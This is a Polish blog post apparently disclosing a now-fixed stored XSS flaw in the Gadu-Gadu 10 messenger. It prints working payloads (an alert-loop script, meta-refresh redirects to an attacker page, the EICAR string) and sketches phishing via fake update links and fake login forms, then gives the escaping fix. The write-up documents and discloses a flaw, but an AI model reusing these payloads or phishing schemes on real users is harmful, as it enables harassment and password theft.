Na początku tego roku wspominaliśmy o luce w GG.pl, która pozwalała uzyskać prywatne dane wszystkich użytkowników sieci Gadu-Gadu. Tym czasem w GG 10 znalazł się inny błąd, o którym informuje Qrix. Okazuje się bowiem, że dzięki wspaniałej ‘webowości’ tego „komunikatora” (którą tak wysławiamy na naszym blogu), program był podatny na atak… XSS. Na szczęście od zgłoszenia błędu, do jego naprawy przez GG Network nie minęło zbyt wiele czasu, zatem poniższy tekst przedstawia stan nieaktualny, aczkolwiek faktyczny :) Jedynym śladem jest wpis w changelogu na stronie dev.gg.pl

Webowość

Krótko o webowości dla tych, którzy nie za bardzo interesują się światem GG:  jeszcze przed premierą sugerowano, że GG 10 będzie programem z ogromną ilością usług webowych i ewentualnie z możliwością komunikacji. Tak też się stało: Gadu-Gadu korzysta z silnika Webkit do wyświetlania prawie każdej zakładki jaka znajduje się w tym programie wcześniej pobierając te dane z serwerów GG Network. W niektórych przypadkach ma to sens, w wielu innych nie (na przykład zastępowanie kodu pisanego w C++ na kod interpretowany pisany w HTML/JS jest w naszej opinii nieporozumieniem, a tak się stało m.in. w przypadku panelu połączeń głosowych – efekt: nie dość że sam panel działa wolniej, to jeszcze musi się on pobrać z serwerów GG Network, podobnie jest ze zmianą opisu – pomyślcie jak to działa na wolnych łączach albo jakie koszty generuje w sieciach GSM/3G). Po więcej informacji odsyłam do wyszukiwarki na blogu oraz na forum Gadu-Gadu (tag webowość).

Problem

Co do błędu: XSS w skrócie polega na wrzuceniu własnego kodu w kod cudzej strony. Tak się niestety składa, że GG 10 bliżej ma do spełnienia standardów webowych niż do standardów komunikatora (wykorzystywany jest tu webkit i świetnie przechodzi testy typu Acid3, SunSpider itp. o czym napiszę niżej). Korzystając z zaufania użytkowników jakim darzą oni daną stronę (w tym wypadku program) możemy wywołać niepożądane akcje. Osadzenie kodu odbywało się poprzez serwis GG.pl, a kod wykonywany był na zakładce Pulpit w komunikatorze programie GG10 u wszystkich osób, które mają nas na liście kontaktów.

Przykłady

  1. Wchodzimy na GG.pl, logujemy się własnym kontem i dodajemy na ścianie tekst: <b>Cześć</b>. Nic się nie stało – na stronie widzimy dokładnie to co wpisaliśmy
    GG.pl - XSS tu nie zachodzi :)Teraz jednak odpalamy GG10 i po przejściu przez setki reklam, otwieramy wspomnianą już zakładkę Pulpit: widzimy pogrubiony tekst „Cześć”.
    Tu niestety XSS już ma miejsce...
  2. Powyższy przykład do najbardziej niepożądanych nie należał – tag <b> groźny generalnie nie jest. Z racji mojej złośliwej natury, spróbujemy wrzucić coś denerwującego. Tworzymy sobie plik *.html, a w nim umieszczamy ten oto kod:
    <SCRIPT> function gg() { for (i=0;i<10;i++) {alert(“Ojc… masz chyba zlośliwa osobe na liscie kontaktow”);}} </SCRIPT><body onload=”javascript:gg()”>

    Plik umieszczamy na dowolnym serwerze, a na GG.pl wklejamy kod, który przekieruje GG na nasz plik z naszego serwera:
    <meta http-equiv=”refresh” content=”0;url=http://domain.com/nasz_plik.html”>
    Tego typu komunikat


    wyświetli się 10 razy. Jak ktoś jest bardziej złośliwy, może wywołać u nas pętlę nieskończoną… ;) Zabicie procesu GG nie wiele w tym wypadku pomoże – GG 10 uruchomi się ponownie z otwartą ostatnio zakładką (czyli z zakładką Pulpit) i komunikat nadal będzie się pojawiał w nieskończoność.

  3. To tyle odnośnie mojej złośliwości. Co jednak jeśli komunikat wyświetlałby treść „Prosimy o aktualizację programu” a następnie otwierał stronę w zewnętrznej przeglądarce z downloadem do rzekomo nowszej wersji? Niestety JS’owy window.open nie za bardzo mi działał, ale możliwe jest dodanie linku bezpośrednio w pliku HTML, który już otworzy się w domyślnej przeglądarce.

    Wykorzystując zaufanie do producenta, wielu kliknie w link. Poza tym wszyscy wiemy jaki GG10 ma target… Daję głowę, że 80% gimnazjalistów kliknie w link jeśli go zobaczy. Spróbuj jeszcze dopisać coś o darmowych opisach graficznych i sukces murowany. A zaufany URL? Można skorzystać z funkcji skracania linków w domenie Infobot.pl.
  4. Jeśli ktoś niezbyt trawi całą tę aplikację, może wykorzystać fakt, że po przejściu na inną zakładkę (np. powracając na listę kontaktów), zakładka Pulpit nadal jest wczytana i wykonywana (a zużycie pamięci rośnie…). Tym samym cały czas mogą się tam dziać mniej lub bardziej niepożądane rzeczy wkurzające znajomych. Na przykład co jakiś czas możemy wyświetlać mnóstwo komunikatów lub obciążyć program jakimś scryptem lub flashem. Wrzucając kody z filmami z YouTube i dopisując do każdego z nich parametr autoplay=1 zmuszamy znajomych (i siebie) do słuchania kilku produkcji na raz (wrzucając filmy z muzyką możemy poczuć się jak początkujący DJ :) ). Obciążenie – gwarantowane.
  5. Możemy sprawić, aby GG zostało wykryte u znajomych jako program podejrzany o ściąganie wirusów ;) Jeśli ktoś słyszał o teście EICAR, to z pewnością wie o co chodzi, jeśli nie – zapraszam na Niebezpiecznik. Tak jak wspomniałem, wszystko co wysyłamy na GG.pl widzą zarówno nasi znajomi jak i my sami , aby więc nie stać się ofiarą samego siebie, wyłączamy chwilowo naszego antywirusa. Do stworzonego w punkcie drugim pliku HTML wklejamy kod:
    X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
    (w pliku nie powinny znajdować się żadne inne treści). Plik wrzucamy na serwer i… w tym momencie GG 10 dostało zwiechy większej niż w całej swojej karierze, a Kaspersky okrzyknął program jako niebezpieczny (był wcześniej niebezpieczny dla rozwoju młodych ludzi i procesora, ale teraz jest dodatkowo „niebezpieczny” dla systemu ;-) ) Ciekaw jestem jak zachowają się tutaj inne antywirusy, szczególnie popularny Avast (który mi osobiście lubił wyrzucać pliki bez pytania ;) )

    PS. Skoro już mi się uchwycił widżet obciążenia systemu, to musiałem go pokazać ;)
  6. Przy znajomości wewnętrznego frameworka jaki wykorzystywany jest w webowych aplikacjach GG10 można wywoływać funkcje komunikatora. Każda z aplikacji w pasku bocznym jest taką samą webową apką pobieraną z serwerów GG Network jak aplikacja Pulpit. Pobrane pliki przechowywane są w folderze %appdata%\Gadu-Gadu 10\numerGG\webkit. Każdy z plików można odczytać w zwykłym notatniku i jeśli ktoś ma ochotę – rozpracować jak działają te aplikacje. Nie przeglądając kodu, lecz korzystając już  z samych aplikacji (Pulpit + pozostałe) wnioskuję, że:
    1. Można otworzyć inne okna wewnątrz programu (aplikacja Tanadu). Przykładowo otwieramy okno z komunikatem typu „Prosimy zmienić hasło”.
    2. Można uruchomić zewnętrzny plik exe (najprawdopodobniej tylko open-fm.exe, choć nie przyglądałem się temu dokładnie).
    3. Można wywołać połączenie głosowe (również płatne co użytkownikom sieci GaduAIR mogłoby się nie spodobać, aplikacja Zadzwoń)
    4. Można zmienić opis (tak – do zmiany opisu również istnieje aplikacja za każdym razem pobierana z serwerów producenta… również podatna na to wszystko)
    5. Można wywołać dymek (ten, który wyświetla się przy kontaktach lub w aplikacji Poczta przy każdym mailu lub w aplikacji Zdjęcia)
    6. Możliwe pewnie są również powiadomienia (takie przynajmniej wyświetla aplikacja Poczta w prawym dolnym rogu pulpitu przy każdej nowej wiadomości).

Trochę mniej istotnie

Całość można jednak wykorzystać praktycznie. Jestem pewny, że gdyby nie artykuł jaki znalazł się na Niebezpieczniku odnośnie luki w GG.pl, to zdecydowanie 95% z Was słyszałaby po raz pierwszy o nowym serwisie twórców „gadulca”. LiveStream z tego serwisu jest dla mnie sztuczny – wszystkie wpisy jakie się tam znajdują, pochodzą co prawda od moich znajomych, ale z ich opisów i generalnie nie sądzę, aby ktoś wiedział, że są tam gromadzone… Tak więc martwy serwis GG.pl możemy zamienić na coś innego, np. na m.Blip.pl ;) Jeśli ktoś miałby ochotę dodać alternatywną wersję Pulpitu w postaci strony m.gg.pl, to odradzamy (o czym piszemy niżej).

A jeśli przypomnicie sobie to, o czym mówiłem na samym początku wpisu, to możemy przetestować działanie komunikatora przeglądarki w różnych testach:

Jak na webkit, to dość kiepski wynik…

Mobilna wersja serwisu również podatna na błąd

Luki_91 z lukisoftware.pl zwrócił mi uwagę, że mobilna wersja serwisu – m.gg.pl – również nie filtruje treści jakie są wyświetlane. Tutaj sprawa ma się nieco inaczej. Jak zauważa Luki_91, telefony komórkowe są zdecydowanie gorzej zabezpieczane przez producentów jak i użytkowników pod kątem bezpieczeństwa. W starszych komórkach, szczególnie tych bez systemu, nie jest widoczny nawet pasek adresu – wywołanie przekierowania na inną, lecz podobną stronę nie jest szczególnie ryzykowne, a tam dalej z górki – ponownie wyświetlamy formularz logowania do strony i mamy hasło ofiary… Natomiast przeglądanie strony mobilnej na komputerze pozwala na wywołanie apletu Javy, czego w GG 10 nie wykonamy.

Blokada zmiany opisu

Tak jak wspominałem, do zmiany opisu w Gadu-Gadu 10 również używana jest aplikacja webowa. Czasem ma ona swoje gorsze dni, gdzie czekanie na ładowanie jest podobne do czekania na koniec świata

ale podobno tak jest lepiej. Zmiana opisu wymaga pobrania przez GG10 web-aplikacji z Internetu, która po pobraniu wywoła wewnętrzną funkcję w GG10, która służy do zmieniania opisu. Po co ten pośrednik? Pewnie po to, aby można było i tu wykorzystać błędy (i zalety) webowości. Jeśli chcesz ustawić opis i nie chcesz go nigdy zmienić, wystarczy, że jako opis ustawisz przekierowanie do jakiejś strony, np.:
<meta http-equiv=”refresh” content=”0;url=http://m.gadunews.pl/>
lub bardziej praktycznie
<meta http-equiv=”refresh” content=”0;url=http://google.pl”>
które zapewnia szybki dostęp do wyszukiwarki ->

Niektórym przydałby się limit częstotliwości zmiany opisu. Jeden z powyższych kodów zatem wysyłamy jako link zmieniający opis do znajomego. Instrukcję „jak” opisał SaperR w czasach gdy GaduNews ledwo działało  – dostępna jest ona tutaj http://gadunews.pl/articles.php?article_id=35
Spreparowany link wysyłamy znajomemu w oknie rozmowy. Znajomy nie prędko zmieni opis jeśli posiada GG w wersji przynajmniej 10.2 ;)

Krótkie podsumowanie


Na błąd podatna była każda wersja Gadu-Gadu 10.x oraz mobilna wersja serwisu GG.pl. Jeśli posiadasz starszą wersję GG (my polecamy GG 8 build 10102) lub każdy inny komunikator z obsługą GG, to żaden z powyższych przykładów, ani nic podobnego Ci się nie przytrafi. Ponieważ zakładka Pulpit wyświetla tylko wpisy Twoich znajomych, których masz na liście kontaktów, to jeśli nie masz na niej żadnego początkującego ‘hakiera’ – również możesz spać spokojnie. I w końcu: jeśli nie uruchomisz zakładki Pulpit to nie powinna ona się sama aktywować (chociaż z GG Network to nigdy nie wiadomo…). Na szczęście nie udało mi się uruchomić żadnego apletu Javy, który to mógłby o wiele bardziej namieszać niż zwykły JS czy Flash (choć w mobilnej wersji GG.pl już tak by się dało, ale czy ktoś wchodzi z komputera stacjonarnego na mobilną wersję serwisu?).

A sam błąd? Chyba dość prosty w naprawie – zamieniamy znaki specjalne na ich odwołania znakowe, szczególnie < na &lt; oraz > na &gt;. Mimo wszystko potwierdzają się moje tezy, że webowość czyni więcej złego niż dobrego, ale to jest już temat dla bardziej zainteresowanych samym światem GG.

Natomiast samo GG Network szybko zareagowało na błąd. Gdyby liczyć czas od początku dnia roboczego (zgłoszenie wysłałem w niedzielę), to minęło zaledwie kilka godzin na reakcję i naprawę błędu. Jako motywację, otrzymałem od GG Network nagrodę :) . Tego typu błędy zdarzają się nawet największym. Wpis ku przestrodze dla użytkowników jak i programistów ;)

Jedna odpowiedź to “XSS w GG10”

Wpisz treść komentarza

Zaloguj się | Załóż konto